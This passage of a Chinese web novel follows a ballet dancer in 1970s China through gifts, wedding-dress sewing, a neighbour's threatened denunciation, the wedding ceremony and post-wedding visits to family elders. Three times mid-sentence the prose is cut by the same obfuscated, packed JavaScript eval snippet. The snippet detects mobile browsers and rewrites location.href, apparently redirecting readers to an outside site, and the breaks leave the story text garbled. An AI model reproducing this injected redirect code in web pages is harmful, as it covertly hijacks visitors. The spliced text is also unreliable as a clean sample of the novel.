进了家门,章清云不急着去看新房,而是拿出今日发的补贴,挑出两张奶粉票递过去道:“这两张给盈钺姐,前一段儿不是说吃什么都吐嘛,估计是怀孕了,这个给孕妇喝也是好的,能补充营养。” 关百钺没拒绝,低头看着章清云扒拉一堆票据,一小撮儿确实不少,他笑问:“都有什么?” 章清云得意:“粮票、肉票、糕点票,哎呀,还有煤票呢,不愧是煤厂!就是大方。过几天拉煤的时候都拉回家,家里也好过冬。对了,你这里煤票够不够?我这里大概有,我数数,天呀,一百公斤!给你一半?” 这年头还没有天然气,不论是楼房还是平房,做饭都是烧煤。关百钺摇摇头:“不用,我不怎么在家做饭,偶尔烧个水什么的,家里的煤就够用了。” 章清云笑笑,将票据收起来,喝了茶,又从包里掏出高中课本,开始请教关百钺问题:“这个指数函数......” 39. 新年做糖制喜服 关百钺细心地讲解,大概一个小时吧,章清云坐直身子,伸了伸懒腰,道:“没想到这时候的高中课本还挺难的。” 吐槽完,她起身道:“走,去新房看看。其实盈钺姐眼光还是很好的,我看不看都行。” 关百钺调笑道:“都会说客气话了?等我姐来了再说,跟我说没用。” 章清云笑着拍了他一下,两人去二楼看房间。 别看关家是二层的小楼,其实房间并不多,一楼也就一间卧室,是关父关母的主卧,其余是卫生间、客厅、厨房、书房等功能性房间。其他卧室都在二楼,关百钺推开其中一间的门。 房间大概有二十四平,正中是双人床,特意定做的一米八的大床,原木色没刷漆,弧形的床柱,看着十分霸气。左右两侧各有一个比床略高的床头柜。 床北边是占据半面墙的柜子,南边靠窗放着一张书桌和两把椅子。因着怕涂料污染,所有家具都没刷漆,好在原木色也不难看。 窗帘是时下最常见的蓝底翠竹的窗帘,薄薄的一片布,估计挡不住阳光。 其他都挺满意,只不过,章清云指着窗帘道:“窗帘是不是薄了点儿?” 关百钺早注意到了,他说:“放心,我准备今晚去黑市看看,有卖那种农家自制土布的,我就买下来。那种挡光又结实,放到外面,里面就用这种翠竹的窗帘。平时要是阳光太刺眼了,就把薄窗帘拉上,睡觉的时候两层都拉上,早上绝对不透光。。” 章清云点点头,没什么可挑拣的。想起什么,她突然问:“伯父伯母都不回来,你自己住这么大的房子,大家没意见?”知识分子好像没这么大度吧? 关百钺就笑:“怎么可能没意见,不过一嘛,吴军跟我关系好,我还帮过他,吴峰吴伯父就是管后勤的,他不会不护着我。二来嘛,我爷爷奶奶可是烈士,院儿里要是敢动我们家,部队大院那边不会愿意的。放心吧,不会住着住着让咱们搬家的。” 那章清云就放心了,天渐渐黑了,她也不多呆,正欲走,关盈钺抱着一匹布兴冲冲进来:“清云,你看我找到什么了?” 红呢子布,还是难得的正红色。章清云张大了嘴,语气里满是惊讶:“盈钺姐,你从哪儿弄的?如今红布可不好找!” 不止红布,红毛线、红头花、红布鞋,所有红色的东西,都难买。 关盈钺一边换鞋,一边分外得意地道:“当然是拜托你安娜姐了。别担心,还得起,给,拿去做嫁衣,结婚那天穿一身正红,再喜庆没有了。” 章清云接过来,脸上满是喜悦:“谢谢盈钺姐。” 就连关百钺,眼里也盛满了感激。在他这个古人看来,正妻就得穿正红色,以前找的那些暗红、玫红、粉红色的零碎布料,都不是章清云该穿的。 关盈钺摆摆手,一屁股坐在沙发上,搓了搓手和冻红的脸道:“可冷死我了,如今的天儿可真够受的。清云你这外套都穿好了,是要回去了?喝碗热乎乎的红糖水再走,不然骑车可受不住。” 说着起身,熟门熟路地进了厨房,烧水。关百钺和章清云忙进去帮忙,关盈钺可是孕妇,万不能操劳。 关百钺抢过水壶,道:“姐,你和清云去客厅说话吧,我来烧水。” 关盈钺没再抢,拉着章清云离开。见到桌上的两张奶粉票,关盈钺笑:“这又是你得的演出福利吧?” 章清云点点头:“姐,你拿去用吧。补充补充营养也是好的。” 关盈钺怀孕还没三个月,自然没声张,只不过弟弟和章清云是自家人,她没瞒着,此时自然也不用客气,将奶粉票塞进口袋里,又问了几句演出的事儿。 很快,关百钺提着水壶进来冲水,三人喝完红糖水,各自分开。 回到家,一大家子正聚在章砚廷这里,忙着做糖呢。前几日大雪还没下来时,三堂哥章清宇从乡下过来,特意送来了两大袋子坚果,松子儿、榛子、核桃的,都是秋收后大家去山上捡的。说了过年回不来的事儿,每次过年,知青点儿只有十个请假名额,像他和司南这种本市的,过年就得在知青点儿呆着。 当然,章家给章清宇捎了不少的肉干、桃酥等吃食,这不用多说,只说快十二月了,阳历年、阴历年也都快到了,做糖就提上了日程。供销社虽然有卖糖的,但自己做坚果糖,是章家每年的习俗,章清云将布匹放下,洗了洗手就过去了。 做好的松子糖已经切好在正房晾着了,章清英、章清宙这俩最小的,巴巴趴在桌上盯着,眼睛一眨都不眨,腮帮子跟偷吃的松鼠似的,不时就一鼓一鼓的。 章清云捏了一颗在嘴里,揉了揉两人的发顶:“就做好了这一锅?” 章清宙嗯嗯嗯地点头,还没开口呢,口水就流出来不少。章清英出息多了,咽了咽口水道:“姐,你回来了?二叔二婶在厨房呢,我俩在这看摊子,防着老鼠来偷吃。” “姐。”章清远端着又一笸箩糖进来,见到章清云眼睛都亮了,“糖霜花生,姐,你快尝尝,可好吃了。这糖还是你上次发的补贴买的。” 是不错,章清云捏了一颗花生尝尝,问道:“还做什么了?” 章清远嘿嘿嘿的笑:“还有核桃糖、榛子糖,四样呢。姐,这次你发的补助多,买的糖也多,每一种都做的比以往一倍还多。” 章清云笑:“那感情好,年前给爷爷奶奶他们送点,清宇哥那里也能送。” “百钺那里也得送。”邵华笑呵呵地掀帘子进来,这个侄女就是懂事儿,三儿子那个不懂事儿的都记得,她怎么能让侄女吃亏呢,扭头笑着道,“唐春梅,甜甜,你俩今儿不是说给清云准备了结婚贺礼?” 二堂嫂唐春梅笑得一脸喜意,回屋拿出一对儿红绒花的发卡,还有一双红色的绣花布鞋,递过去道:“给,清云,就当是二哥二嫂给你的新婚礼。” 发卡不难买,但红绒花的就不常见了,再说还有布鞋,并蒂莲绣得可真精致,章清云笑着伸手接过来,语气里满是高兴:“多谢二嫂,您用心了。” 唐春梅笑容甜蜜,虽然跟娘家断亲没了退路,好在丈夫是个好的,公公婆婆也不挑理。活了近二十年,唐春梅第一次过的这么舒心,特别是章家吃的格外好,有个时不时能拿出福利票的小姑子,唐春梅自然格外重视。 提前半个月就跟车间里的小姐妹说了,准备送小姑子一对红发卡,小姐妹家里有人在百货大楼上班,买东西比她方便多了,这不是就买到了。至于红绣鞋,是唐春梅熬了七个晚上绣出来的,算是她的心意。 “大妹喜欢就好。” 大堂嫂宋甜甜自然也有准备,她是章清海师父的老闺女,当年宋师傅就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365675|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先看中了章家,才收的徒,对章清海和老闺女一直都颇照顾,小夫妻过的也甜蜜。 宋甜甜嫁过来,三个月就怀孕,次年生了长孙章鸿星,如今也三年了,日子一直和顺,跟章清云关系一直不错,送的礼也不轻,一条红围脖,宋甜甜道:“买到的红毛线有限,只能织个围脖,大妹拿去戴吧。” 做糖聚会变成了送礼,章清云高兴地接过来,笑:“谢谢大堂嫂。围脖好,围巾那么老长,骑车还容易掉,还得是围脖,直接套脖子上,怎么都不可能掉下来。” 说得一群人都笑。邵华趁机拿出织好的毛衣毛裤,递过去道:“大伯娘攒了好久的毛线,才织出来的。清云可别嫌弃。” 毛衣毛裤花里胡哨的,红的、黑的、蓝的、绿的,五颜六色的拼接而成,看着就喜庆。不过谁都知道,这是每次买一点儿、每次买一点儿攒起来的毛线。章清云哪里会嫌弃,她道:“反正是穿里面的,大伯娘您费心织的,我肯定穿。” 一群人说说笑笑的,每人吃了两颗糖,等都切开晾凉,才装起来放好。 回到家,见到桌上的红布,陈静惊喜道:“哎呦,这布好,摸着就厚实。这是红呢子吧?摸着可真不错。百钺给的?” 章清云点头:“盈钺姐找到的,今儿特意送来的。” 陈静摸了又摸,笑着起身道:“走,妈领你去找董阿姨,让她帮你做。你董阿姨手巧,肯定能做好。正好做了糖,装一碗端过去,这就走。” 章清云没反驳,她和陈静、邵华都不太擅长针线,平时缝个破洞都不太行,更别提做衣服了。 端着碗跟在陈静后面,敲响了东倒座房的门。董巧花正在家糊火柴盒呢,开门见是这母女二人,忙笑着让二人进:“今儿是什么风把你俩吹来了?哎呦。” 董巧花忙左右看看,见没人,这才赶紧关上门,眼光灼灼地望向陈静怀里的红呢子布,咽了咽口水,轻声道:“陈家妹子,你可真厉害,这么难买的布都能买到!” 陈静扬了扬眉,没说是女婿给的,眼神儿示意章清云放下糖,笑着道:“董大姐,就是因为布料难得,这才特意找你来做呢。你也知道,我和清云、大嫂都不擅长这个,咱们大院儿里也就你手最巧,这不是来求你帮忙了吗?放心,外面要多少我......” 董巧花忙摆手:“我可不要钱!你要是给钱我就不做了。” 陈静连连摆手:“这怎么行。做衣服可耽误时间了,你糊火柴盒也不容易......” 董巧花佯装生气,瞪着陈静一言不发。陈静只得闭嘴,董巧花这才继续道:“司南当初下乡,多亏了你们帮着走动,我要是再收你们家的钱,我成什么了?” 她转向章清云,问道:“清云,跟董姨说,你想要做成什么样?” 章清云也没客气,原主和司南是好朋友,她和董巧花自然也熟,张嘴说了她的要求。其实就是改良版军大衣的样式,只不过领子做成后世的翻领,小臂袖口处做成微喇的样式,添几分秀气,其他就没有了。 董巧花打包票,司南弟弟司北在一边看书,不时朝桌上看两眼,明显是想吃糖了。章清云和陈静也不多呆,交代清楚了就离开。没走出两步呢,就听到里面董巧花教训儿子的声音:“晚上可不能多吃,行了,就两块儿,我收起来,以后慢慢吃。” 40. 婚礼现场忙不停 等衣服做好,已经是十二月中旬,离二十号的婚礼只差七天。周末章清云在家试衣服,章砚臻和陈静去供销社定猪肉,准备过几天摆酒的时候用。 章清云上下看看,虽然没穿衣镜,也感觉衣服挺合身的,肩颈、手臂都没有束缚的感觉。宋甜甜和唐春梅两个堂嫂一个劲儿说好,章清云也笑着说:“不用改了,董婶子你手就是巧......” “清云。”苗盼儿急匆匆进来,见到众人愣了愣,迅速将手背在身后,脸上的笑带着几分尴尬,她说,“你们在试衣服啊,那我等会儿再来。” “别。”宋甜甜赶紧起身,苗盼儿一看就是有事儿,她们就是来串门的,可不能耽误正事儿,“我和春梅也没什么事儿,这就去买菜了,盼儿来,这里坐,我们这就走了。” “是,还得买菜呢。”董巧花也跟着起身,“那既然不用改,我就走了。要是有什么其他衣服想做,别跟婶儿客气。” 章清云送三人离开,轻轻关上门,转身招呼道:“盼儿,坐,有什么事儿?” 苗盼儿松了口气,将手里的信拿出来,脸色难堪地道:“那什么,我妈她还记恨那次春梅姐不给她面子的事儿,这些日子一直盯着你们家呢。这是她昨晚写的举报信,我趁她睡觉拿出来的。你......你结婚还是只办一场好了,我妈她这个人有点儿执拗,现在找不到信,指不定正在重写呢。你家要是办两场,举报信肯定会寄出去的......” 章清云展开信,字里行间都是章家婚礼奢侈浪费,搞资本主义享乐等等,因着文化水平有限,翻来覆去都是那几句话,可却给章清云提了醒,也许,婚礼真不能办两次。她家本来就惹眼,她又是嫁到大院去,大杂院这边嫉妒的肯定不少,除了牛桂兰肯定还有其他人盯着...... 她笑着对苗盼儿道:“行,谢谢你了。我会跟爸妈说的,你怎么样?最近和陶勇还行吧?” 苗盼儿松口气,嘴里又开始不饶人:“没事儿,你自己多保重吧,怎么到哪儿都得罪人。听说姚燕妮的外公可是大英雄,你可真行,净得罪背景厉害的。” 章清云挑挑眉,笑着调侃:“哦,你是怕得罪姚燕妮,在团里才不理我的?” 苗盼儿哼一声:“咱俩关系本来就没多好,行了,我走了,你上点儿心。” 见章清云不放在心上,苗盼儿继续道:“前几天去采矿厂演出,听说有顽主追着姚燕妮跑了三场,场场不落,大家都说那人身份不简单,你小心姚燕妮找他对付你。”说完哼一声,掀帘子离开。 这事儿章清云还真不知道,不过顽主嘛,有关百钺呢,跟他说说,肯定能查出来是谁。将红呢子大衣脱下来叠好,章砚臻和陈静回来了,章砚臻十分的高兴,进来就兴奋地宣布:“清云,我和你妈去黑市后面定肉了。你不知道,那家是专门在黑市卖肉的,我和你妈找了好久才找到......” 章清云只好打断,将苗盼儿送过来的举报信递给章砚臻:“爸,算了。我嫁人不定多少人盯着呢,要是咱家办两场婚宴的事儿传出去,被有心人举报,你和我妈可都有可能丢工作的。咱们还是别冒险了。你俩要是实在想花钱,就多买些肉做成肉干,或者熏成腊肉,我当嫁妆带过去慢慢吃,好不好?” 章砚臻看着举报信,手都发抖了,气道:“这个牛桂兰,我嫁闺女,爱办成什么样儿就办成什么样儿,关她什么事儿!竟然敢举报我!等着,我......” “好了。”陈静抚着男人胸口,轻声安慰道,“被狗咬了,你还要去咬狗,或者和狗一般见识?放心,我盯着呢,只要她做了违规的事儿,我肯定不放过她!” 章砚臻脸通红通红的,陈静和章清云哄了好久,气儿才顺。陈静道:“好了,要是还生气就去干点儿活,累了就什么都不用想了。前两天买的白菜还没腌上呢,烧水腌酸菜吧。今年白菜的菜叶子少,马婶子她们说腌成酸菜好吃。” 章砚臻锤了锤桌子,起身去厨房,洗瓮、烧水烫菜等等,忙活开了。章清云笑着过去帮忙,凑趣儿道:“爸,多腌点儿萝卜,酸萝卜也好吃。好像萝卜缨子也能腌成酸菜......” 想到后世的辣白菜,她道:“我们团里有少数民族的,说是可以腌辣白菜。等我明天问问她腌料的配方,咱们也腌一点儿,冬天里换换口味。” 父女俩边干活边说话,苗家隐隐传来牛桂兰的叫骂声,想来是信丢了,心气儿正不顺呢。章砚臻哼哼两声,想着怎么报复回去才好。媳妇儿是个君子,他章砚臻可不是! 在辣白菜腌制好,得到大家普遍夸奖的时候,十二月二十,结婚的日子也到了。 一大早,章清云就被陈静叫起来,又是梳头又是吃早饭,吃完还得化妆,好一通忙活。 十点半,关百钺带着一群小子过来结亲,好家伙,六十六个大小伙子,一水儿的军大衣、羊剪绒帽子和永久牌自行车,大杂院的众人都看呆了。 “这清云嫁的人家不一般啊。不是听说公公婆婆是科学家吗?怎么瞧着都像是部队那边的?” “听说爷爷奶奶是烈士,部队大院那边自然得派人来了。” “那清云这福气可不一般。” 大家聊得热闹,等结亲队伍近前时,也没忘了严守第一道门。伴郎中,有四个手上提着篮子,篮子里装的自然是糖,不过用红碎花的布盖着,让人看不清到底有多少。 见有人拦门,四人赶紧上前撒糖,边撒边喊:“吃喜糖喽,大叔大婶儿们别守着了,赶紧抢喜糖喽,不然可都被别人抢走了。” 大家一看,好家伙,带包装的水果糖,那还犹豫什么,忙让开去抢糖了,关百钺和伴郎们顺利进了大杂院的门。 章家的第二道门前,是几个大舅子和小姨子,关百钺连连作揖,挨个叫过人后,才道:“大哥,今儿大喜的日子......” 章清海摆摆手,冷着脸开口道:“既然是大喜的日子,就回答我们几个问题。” 不等伴郎们反应过来,章清洋紧跟着轻咳一声,开始主持秩序:“大家静一静,现在开始第一个问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371021|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章清海朗声道:“清云是芭蕾舞演员,还是文工团台柱子,结婚后可不能立即要孩子,这个你怎么说?” 这是要提前说明,章清云结婚后那么多年不怀孕生子,不是身体原因,而是工作需要。关百钺自然知道这个道理,他高声回答:“我理解,我和清云都说好了,在她二十五岁之前都不要孩子。” 围着的人群嗡嗡开了,显然没想到是这样的。章清云今年十八,那就是结婚六七年都不要孩子?原来觉得章清云嫁出去可惜了的大杂院邻居,也都撇撇嘴。太惯着了,女人哪儿能不生孩子?跳舞哪儿有生孩子重要! 章清洋再次咳嗽一声,高声道:“静一静,下面请回答第二个问题。” 章清海:“你目前还没自己的房子,家里虽然有房住,可却是你父母的房,是不是?” 关百钺点头:“是,是单位给我父母分的房。” 章清海:“那好,请问要是你父母退休回来了,不喜欢清云,你们又没有自己的房子住,怎么办?” 关百钺十分上道,高声说:“大哥,我父母起码这三四年都不会回来。而且我目前是榨油厂的高级工程师,还在榨油机械厂任厂长,等两年厂里应该会盖房子,到时候肯定分房,你放心。而且我父母为人和气,不会不喜欢清云的。” 人群又嗡嗡开了,纷纷开始指责章家摆谱。哪儿有独子结婚后出去单独住的?这是连父母都不要了? 关百钺高声道:“大家静一静,听我说。” 见大家不再叽叽喳喳,关百钺道:“我爸妈一辈子都在基地做研究,每次来信都说退休后要好好享受生活,去各地看一看祖国的好风景。不是我们不跟父母住,是我爸妈想结婚后到处去玩。他们辛苦了一辈子,这点儿愿望我当然要满足他们了,而且两人单独住惯了,每次写信回来都说,退休了也要单独住,怕打乱彼此的生活习惯,都过不好。那我能说不尊重他们的意见吗?” 他接着道:“好在清云懂事儿,说一旦父母回心转意,立刻搬回去一起住。大家放心,我们肯定赡养父母。羊羔还知道跪乳呢,我和清云又不是畜生,怎么会不孝顺父母?大家要是不相信,可以监督我俩,看看我俩日后怎么做,如何?” “好!” 人群里有人叫出声,也有人酸溜溜地道:“那就监督嘛。大家可都盯紧点儿,什么主意都是父母的,媳妇说的就都是好的,我怎么听着这么玄乎呢。” “人家是科学家,那脑子能跟你的一样?老马,你恐怕一年的书都没读过吧,少在这蛐蛐人家科学家。” “就是,人家是为国家做出贡献的科学家,你少在这胡说八道。” 见大部分人都听进去了,章清洋望向章清海,两个问题问完了,没什么要问的了。 章清远可管不了那么多,他眼睛红红的,问:“你娶了我姐,可不能让我姐干家务,我姐是跳舞的,那双手不能糙,得好好养,每天都要抹蛤蜊油。也不能让我姐吃不饱,最起码三天吃一次肉,不然跳舞会腿抽筋的。你答应不答应?” 41. 婚礼现场忙不乱2 “答应,自然答应。”关百钺笑眯眯的,使劲儿冲撒糖的四个伴郎使眼色。 四个人是谁呢?陶勇、沈爱军、师援军和卢建设,本来想让吴军来的,可惜卢建设这小子近水楼台,主动抢了这个位置。四人跟关百钺接触多了,自然知道什么意思,纷纷开始撒糖。 卢建设会说话,边上前拉章清远,边调侃:“这是小舅子舍不得姐姐呢。小舅子放心,百钺哥是这么多兄弟里最靠谱的一个,你姐嫁过去肯定过好日子。” 章清远眼眶通红,拧着脖子不肯让开:“你可不能欺负我姐。” 关百钺连连作揖:“我哪儿敢啊,咱两家离的又不远,你可以天天去监督,成不成?” 人群轰然乐开,章清远平日里有多黏他姐,大家都看得到,这时候眼圈儿都红了,大家可不得帮着新郎官剖白几句。 “清远,你姐夫看着就是懂事儿的,你可别胡乱提要求。” “就是,哪儿有三天吃一次肉的,就是以前的地主,也没有这样过日子的。” 这话就有些严重了,关百钺忙澄清道:“大家可不要误会,跳芭蕾舞是需要肌肉的,不然很多动作就完不成。肌肉肌肉,只有吃肉才能长肌肉,才能保证长出来的肌肉不萎缩消融。因此三天吃一次肉,不是奢侈,是工作需要。” 见给姐姐带来麻烦了,章清远这才不说话,只不过眼睛仍是红红的,打量关百钺的眼神儿都有些不善。关百钺失笑,揉了揉小家伙的脑袋,这才进屋。 屋内,章清云盘腿儿坐在炕上。盘发,圆形发髻两侧各插一朵红绒花,眼若秋水,面庞灿若夏花。一身红色呢子大衣,脖子上带着红围脖,配黑色灯芯绒裤子,脚上是米色的低高跟皮鞋,很时尚亮眼的打扮。 众人先是静了一瞬,良久,是小年轻们嗷嗷的叫唤声,一声声催促着关百钺去背新娘子。 关百钺轻咳一声,三两步上前,单膝跪在地上,在大家的嬉笑声中,很自然地转身,用后背面对章清云,道:“上来。” 章清云笑笑,两辈子第一次嫁人,心情不激动是假的。她看向红着眼睛,依旧在笑的父母,送给他们一个放心的眼神儿后,果断地趴到关百钺背上。 “哦哦哦~” 叫好声响彻云霄,关百钺只感觉,那一趴的重量,不是压在背上,而是直直进了心底。从此,他要和这个女人生同衾死同穴,永世不分离。他,做得到吗? 应该是可以的吧,三辈子,只有章清云,让他有了结婚的念头。也只有章清云,让他觉得生活是有趣的。 许是原主的情感在作祟,章清云猛地回头,就见章砚臻和陈静低头抹泪,怕是没想到姑娘会突然回头,都有些手忙脚乱,章砚臻挤出个笑,嫌弃似的摆手:“看什么看,走吧,别误了时辰。” 章清云打起精神,扬声喊道:“爸,妈,回门儿我可得吃肉。” 说得众人都笑,章砚臻眼神儿立马柔和下来,却板起脸,将头扭到一边,声音有些哽咽:“快走,都出门子了还惦记娘家的东西,不做。” 陈静却哎了一声:“娘给你做,走吧,百钺都累了。” 这才最终出了门子。 婚礼在科研大院食堂,简单的茶话会,一把瓜子儿、一把花生、两块糖和一碗面茶,这是每个人的量,不够了再去找关盈钺要。当然,都是大院儿里有身份要面子的,没人去就是了。 虽然简陋,仪式也不少。关百钺和章清云,在众人的见证下,对着伟人像三鞠躬,又是读语录又是发表感言的,这辈子结为了夫妻。 不远处,关盈钺比两人还要激动,眼泪都下来了,看得师援军又是笑又是哄的。这时候的婚礼,还没有很闹腾的,吃吃喝喝,说几句玩笑话,唱几首歌,婚礼也就完成了。 关父关母的贺词昨日就发来了,关盈钺擦擦眼泪,拿着电报朗声念道:“喜今日赤绳系定,珠联璧合。卜他年白头永偕,桂馥兰馨。关家康梁秀英祝。” 虽是民国时期的新婚贺词,却是关父关母选了好久才选定的,关百钺和章清云手牵着手,静静听完父母的祝福。魏雪带头,嗷嗷叫好,现场到达另一轮高潮。 回到关家,才陆续有人来送礼。关系好的,例如四个撒糖的伴郎,一人一个暖水瓶,这是很大的礼了。其他伴郎或是洋瓷茶缸、洋瓷盆子、碟子碗盘子的,或是枕巾、被罩的,都是很能拿的出手的。 能做伴郎的,和关百钺的关系自然不错,其他人的礼就五花八门了,有送镜子的,有送手套、袜子的,陶勇手下那批大杂院家境不太好的,送的都是一些鸡蛋、面粉之类惠而不费的东西。 章清云并没有挑拣,只是等大家都走了,看礼单时,不免觉得这时候的贺礼有趣。等关百钺推门进来,章清云打趣:“哟,不嚷嚷着闹洞房了?” 关百钺苦笑:“不闹了。”当时也是脑子抽了,觉得去接亲的人越多,越有面子。谁知道面子是有了,婚礼结束了却都嚷着要闹洞房。那怎么行呢,要不是他舍下了两个月工资,今儿洞房就别想入了。 章清云跟着笑:“让你死要面子。行了,饿不饿?什么时候吃晚饭?” 新人洞房的第一件事,自然是填饱肚子了。关百钺笑道:“饿了?放心,姐和安娜姐昨儿包了饺子,冻在外面呢,我去拿,咱们下碗饺子吃。” 吃过饺子,运动完,这一觉睡得很沉,翌日睁开眼,天光大亮,章清云用手挡住眼睛,问道:“天亮这么早?” 关百钺已经起了,正坐在椅子上整理誊抄礼单呢,闻言笑道:“下了一夜的雪,还早呢,你再睡会儿,我去做早饭,想吃什么?” 原来是雪反射的光,章清云放下手,呢喃道:“粥、油条、油饼。”怎么油怎么来,油大才香呢。这一刻,她不是芭蕾舞演员,而是七十年代缺油水的可怜新娘。 关百钺揉了揉章清云的头,干脆也不去灶房了,说:“行,我去食堂买。” 章清云从鼻子里发出嗯的一声,闭上眼睛不再开口。关百钺轻手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376858|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻脚地出去,章清云却睡不着了。习惯了早睡早起,即使有三天的婚假,生物钟也不允许她睡懒觉了。 认命地起床洗漱,关百钺拎着早饭进来时,正看到章清云在收拾客厅。昨儿家里都是人,乱糟糟的,确实该收拾,他将饭盒放到餐桌上,道:“吃了早饭一起收拾,九点多去师家看大姐,再去部队大院拜访几个长辈,其余时间都是咱们的,想干什么都行。” 章清云点点头,关父关母不在,婚礼和婚房很多长辈都帮忙了,两人如今成亲,自然要去拜访。 “今儿没油饼,我买了蒸饺,尝尝。”关百钺夹了一个蒸饺放到章清云碗里。 科研大院的食堂味道还不错,章清云笑着道:“不错,比钢铁厂大院的食堂好。” “钢铁厂是万人大厂,不一样。”关百钺笑,科研大院人少,食堂属于小而精,钢铁厂上万人呢,那里的厨子,做的都是上百人的菜,擅长的是大锅灶,味道自然不如科研大院。 章清云边吃饭边问:“需要准备什么礼物吗?” 关百钺笑:“拿着喜糖就行,咱们是去收礼的,不是送礼的。” 特意上门拜访外加收礼的小夫妻,在师家,收到了罗霞罗女士送的一对儿祖母绿戒指,她叮嘱:“收好了,先别戴出来。” 解放前就出国留学的人,家里是有老底子的,关百钺和章清云也没声张,悄悄将戒指放进衣兜,罗霞叹口气,自言自语道:“也不知道什么时候能回来。” 说了一会子话,三人才从书房出来。 师援军指着关百钺调侃:“是不是又偏我妈的东西了?你小子就是鸡贼。” 关百钺哈哈哈的笑:“不仅要偏罗阿姨的,我还要偏你的呢。怎么,小舅子结婚,你这个姐夫就没礼物给?” 师援军转向妻子关盈钺,控诉道:“盈钺,你可见到了吧?这才是真真儿的活土匪呢,咱们师家的东西早晚得被这小子骗去!” 关盈钺剜了丈夫一眼,嗔道:“什么师家关家的,少在这里混说了。快点,准备的东西呢?拿出来,小弟他们还要去部队大院儿,看安娜他们呢。” 师援军冲着书房门口站着的母亲摊手:“妈,我努力了啊,家里的东西保不住,可不怪我。” 说笑着,去卧室拿了块女士梅花牌手表,递过去道:“要是只有百钺,那肯定是什么也没有,谁让今儿带着媳妇儿呢。清云,拿去戴吧,我和盈钺的心意,你们小两口以后好好过日子,比什么都强。” 关盈钺笑着点头:“这是今年最流行的机械手表,黑色皮质表带,金色表盘,听说沪市那边都要连夜排队,才能买到呢。” 这礼也太重了,章清云还在犹豫,关百钺直接接过来,拉起章清云的手腕,系上去道:“好看,谢谢大姐和大姐夫。” 关盈钺摆摆手,撵人道:“行了,少说这些场面话。不是还要去部队大院儿那边嘛,其他家也就算了,洪家、沈家和高家是必去的,早些过去,回来还能赶上午饭。” 42. 婚后拜访收礼忙 两人也没停留,先回家将东西放下,这才提着五兜子糖去了部队大院。先是顺路去了几家不太亲近但是来往也多的人家,也没进去,就在门口散了散糖,算是报喜。而后去了洪家,洪家的女主人韩佳,还是两人的媒人呢,自然该第一时间拜访。 开门的是洪常胜,这小子身上的伤也好的差不多了,被韩佳拘在家里,身上都快长草了。开门见是二人,暗暗撇嘴,没什么表情地叫了声:“百钺哥,嫂子。” 关百钺拍拍洪常胜的肩膀,笑着道:“行了,在外面惹是生非的,韩姨也是为了你好。怎么样,上次说的让你跟着我干,考虑的怎么样了?” 洪常胜撇撇嘴,他才十六,百钺哥不也是混到二十才想着做正事儿呢嘛,他再玩几年又没事儿。于是呵呵笑着低声拒绝:“哥,让我再玩儿几年呗,你那里给我把位置留着,等我玩够了......” “进来,在门口说话像什么样子。”韩佳在屋里喊,洪常胜无法,只得侧身让两人进去。 韩佳特意在家等着二人呢,喝了两人敬的茶,才拿出礼物道:“阿姨以前在基地捡的彩石,这些年没事儿,在家自个儿打磨的项链,不值钱,拿去戴吧。” 章清云看那晶莹剔透的红色项链,怎么看怎么不像普通的石头,她偷眼去看关百钺,关百钺微微点头,章清云这才接过来,笑着道:“多谢韩阿姨。” 韩佳终于笑了:“不用谢,我和百钺他爸妈都是老熟人了。百钺,以后见了常胜,该管就管,不用考虑其他的。这小子如今闹的不像话。他爸在外面带兵,经常不在家,他姐又嫁人了,家里没人管得了他,就还愿意听你说几句,你可别跟韩阿姨客气。” “那怎么会呢。常胜还小,今年才十六,我像他这么大的时候,不也是满市胡闹嘛......” 客气地说了几句话,这才起身离开,去了沈家。沈老爷子当年能活下来,还是托关爷爷关奶奶的福,这些年沈家对关家是最照顾的,自然该去。 两人也没把沈老爷子当外人,磕了头,起来时沈老爷子眼眶都红了,一个劲儿呢喃:“像,百钺越长越像城子,找的媳妇儿也像文婉,太像了......” 沈老爷子快七十的人了,头发花白,战争年代过来的,腿脚也不太好,走路都得拄着拐,情绪大起大伏自然不好,沈爱军忙笑着打圆场:“爷爷,您不是准备了好东西给百钺?怎么,后悔不想给了?” 忍不住拍手笑道:“那可太好了!放着,留给我这个大孙子和您孙媳妇儿不是更好?到时候安娜再给您生个重孙子......” “胡扯。”沈平安擦了擦眼睛,艰难地起身,沈爱军忙上前扶,关百钺和章清云自然跟在后面,直到进了书房,在桌子后面的太师椅坐下,老先生才再次开口,“其他人都出去,百钺和他媳妇儿留下。爱军,出去的时候把门关上。” 就这么着,两人又多了两串玛瑙手镯,沈平安是这么说的:“这还是当年我和老婆子结婚,你爷爷奶奶买来送我们的。现在给你们,就当是老关送给你们的,他们肯定也在天上看着呢。好好的,不要让城子他们白死!” 